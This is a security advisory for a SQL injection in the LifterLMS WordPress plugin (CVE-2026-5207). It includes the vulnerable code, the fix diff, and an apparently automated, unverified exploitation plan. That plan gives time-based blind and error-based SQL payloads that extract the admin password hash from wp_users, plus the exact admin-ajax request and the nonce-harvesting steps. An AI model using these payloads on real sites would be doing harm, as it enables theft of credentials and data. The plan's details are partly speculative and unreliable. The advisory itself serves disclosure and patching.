CVE-2026-5207

LifterLMS <= 9.2.1 - Authenticated (Custom+) SQL Injection via 'order' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
9.2.2
Patched in
1d
Time to patch

Description

The LifterLMS plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 9.2.1. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Instructor-level access and above who have the edit_post capability on the quiz, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=9.2.1
PublishedApril 10, 2026
Last updatedApril 11, 2026
Affected pluginlifterlms

What Changed in the Fix

Changes introduced in v9.2.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5207 - LifterLMS SQL Injection ## 1. Vulnerability Summary **CVE-2026-5207** is an authenticated SQL injection vulnerability in LifterLMS (<= 9.2.1) affecting the `order` parameter. The vulnerability exists because the plugin fails to properly sanitize or prep…

Show full research plan

Exploitation Research Plan: CVE-2026-5207 - LifterLMS SQL Injection

1. Vulnerability Summary

CVE-2026-5207 is an authenticated SQL injection vulnerability in LifterLMS (<= 9.2.1) affecting the order parameter. The vulnerability exists because the plugin fails to properly sanitize or prepare the user-supplied sort direction (order) before concatenating it into a SQL query's ORDER BY clause. While the orderby parameter (the column name) might be checked, the order parameter (ASC/DESC) is often assumed to be safe but can be manipulated to append additional SQL commands.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: llms_table_get_results (used by LifterLMS to fetch paginated/sorted data for admin tables).
  • Vulnerable Parameter: order (often passed as llms_order or order depending on the specific table implementation).
  • Authentication Level: Instructor-level access or higher.
  • Preconditions: The attacker must have edit_post capability for a quiz (which Instructors have for quizzes they created or are assigned to). At least one quiz and one attempt should exist to trigger the database query path.

3. Code Flow

  1. Entry Point: A request is made to admin-ajax.php with action=llms_table_get_results.
  2. Table Dispatcher: The request is handled by a controller (often LLMS_Admin_Table or a specific reporting controller) that instantiates a class extending LLMS_Admin_Table (e.g., LLMS_Admin_Table_Quiz_Attempts).
  3. Argument Collection: The get_results() method calls get_args() (defined in includes/abstracts/abstract.llms.admin.table.php, Line 280), which retrieves sorting parameters:
    'order'   => $this->get_order(), // Returns $_GET['order'] or $_POST['order']
    'orderby' => $this->get_orderby(),
    
  4. Query Execution: The table object uses an instance of LLMS_Database_Query (or a subclass) to fetch data.
  5. SQL Generation: Inside LLMS_Database_Query::sql_orderby() (defined in includes/abstracts/abstract.llms.database.query.php, Line 316), the order parameter is concatenated:
    foreach ( $sort as $orderby => $order ) {
        $pre   = ( $comma ) ? ', ' : ' ';
        // VULNERABILITY: If sanitize_sql_orderby is bypassed or improperly handles the concatenated string
        $sql  .= $pre . sanitize_sql_orderby( "{$orderby} {$order}" );
        $comma = true;
    }
    
  6. Sink: The resulting $sql is passed to $wpdb->get_results() via perform_query() without further preparation (Line 139).

4. Nonce Acquisition Strategy

The LifterLMS admin tables use a nonce for security. This nonce is typically localized in the WordPress admin header.

  1. Shortcode/Page: Navigate to any LifterLMS Quiz reporting page.
  2. Target Page: wp-admin/admin.php?page=llms-reporting&tab=quizzes&quiz_id=[QUIZ_ID]
  3. Execution:
    • Use browser_navigate to go to the Quiz Reporting page.
    • Use browser_eval to extract the LLMS configuration object.
  4. Nonce Variable: Verbatim from LifterLMS patterns, the nonce is likely found in window.llms?.admin_nonce or specifically for tables in the localization data for the reporting scripts.
    • Research Step: Inspect the page source for wp_localize_script. The key is often llms_admin_table_nonce.

5. Exploitation Strategy

We will use a time-based blind SQL injection in the order parameter.

HTTP Request (Playwright http_request tool)

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=llms_table_get_results
    &table_id=quiz-attempts
    &quiz_id=[QUIZ_ID]
    &orderby=id
    &order=ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)
    &_wpnonce=[NONCE]
    

Payloads

  • Verification: ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a) (Should delay response by 5 seconds).
  • Data Extraction (User Hash):
    ASC,(SELECT 1 FROM (SELECT(IF(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)

6. Test Data Setup

  1. Users:
    • Create an Instructor user: wp user create instructor instructor@example.com --role=instructor --user_pass=password
  2. LifterLMS Content:
    • Create a Course: wp post create --post_type=course --post_title="SQLi Test Course" --post_status=publish
    • Create a Quiz: wp post create --post_type=llms_quiz --post_title="SQLi Test Quiz" --post_status=publish
    • Link Quiz to Lesson (LifterLMS requires structure to view attempts).
  3. Quiz Attempt:
    • As a student, complete the quiz once to ensure the wp_llms_quiz_attempts table (or equivalent) has data. This ensures the SQL query returns results and reaches the vulnerable sorting logic.

7. Expected Results

  • A baseline request with order=ASC should return almost instantly.
  • The malicious request with order=ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a) should result in a response time of approximately 5 seconds.
  • Successful extraction of the first character of the admin's password hash using conditional SLEEP.

8. Verification Steps

  • Response Timing: Monitor the time_total from http_request.
  • Database Consistency: Use wp db query "SELECT ..." to verify the table being queried actually contains the data you are attempting to extract.
  • Log Review: Check wp-content/debug.log if WP_DEBUG is enabled; LifterLMS may log SQL errors if the payload syntax is slightly off.

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is on, try order=ASC, (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)))a).
  • Direct Parameter: Some LifterLMS reporting pages pass llms_order instead of order in the $_GET string. If the AJAX action fails, try a direct GET request to the reporting page with the same payload in the URL.
  • Table ID: If quiz-attempts is incorrect, enumerate table IDs by looking for classes extending LLMS_Admin_Table in the plugin's includes/admin/reporting/tables directory.
Research Findings
Static analysis — not yet PoC-verified

Summary

LifterLMS is vulnerable to a time-based blind SQL injection via the 'order' parameter used in administrative tables. This vulnerability allows authenticated users with Instructor-level permissions or higher to execute arbitrary SQL commands by appending them to the ORDER BY clause of database queries.

Vulnerable Code

// includes/abstracts/abstract.llms.database.query.php

	protected function sql_orderby() {
		$sql = '';

		// No point in ordering if we're just counting.
		if ( $this->get( 'count_only' ) ) {
			return $sql;
		}

		$sort = $this->get( 'sort' );
		if ( $sort ) {

			$sql = 'ORDER BY';

			$comma = false;

			foreach ( $sort as $orderby => $order ) {
				$pre   = ( $comma ) ? ', ' : ' ';
				$sql  .= $pre . sanitize_sql_orderby( "{$orderby} {$order}" );
				$comma = true;
			}
		}

Security Fix

--- includes/abstracts/abstract.llms.database.query.php
+++ includes/abstracts/abstract.llms.database.query.php
@@ -395,7 +395,8 @@
 
 			foreach ( $sort as $orderby => $order ) {
 				$pre   = ( $comma ) ? ', ' : ' ';
-				$sql  .= $pre . sanitize_sql_orderby( "{$orderby} {$order}" );
+				$order = ( 'DESC' === strtoupper( $order ) ) ? 'DESC' : 'ASC';
+				$sql  .= $pre . sanitize_sql_orderby( "{$orderby} {$order}" );
 				$comma = true;
 			}

Exploit Outline

The exploit targets the `llms_table_get_results` AJAX action, which is used to render various reporting tables in the LifterLMS admin dashboard. 1. Authentication: The attacker must log in as a user with at least 'Instructor' privileges and have the `edit_post` capability for the specific quiz or post being queried. 2. Nonce Acquisition: The attacker retrieves a security nonce (typically `llms_admin_table_nonce`) from the localized script data on a LifterLMS reporting page. 3. Request Shape: A POST request is sent to `wp-admin/admin-ajax.php` with the following parameters: - `action`: `llms_table_get_results` - `table_id`: A valid table identifier like `quiz-attempts` - `orderby`: A valid column name (e.g., `id`) - `order`: The injection payload, such as `ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)` - `_wpnonce`: The valid security nonce. 4. Verification: Success is confirmed if the server response is delayed by the amount of time specified in the `SLEEP()` function, indicating that the injected SQL was executed.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.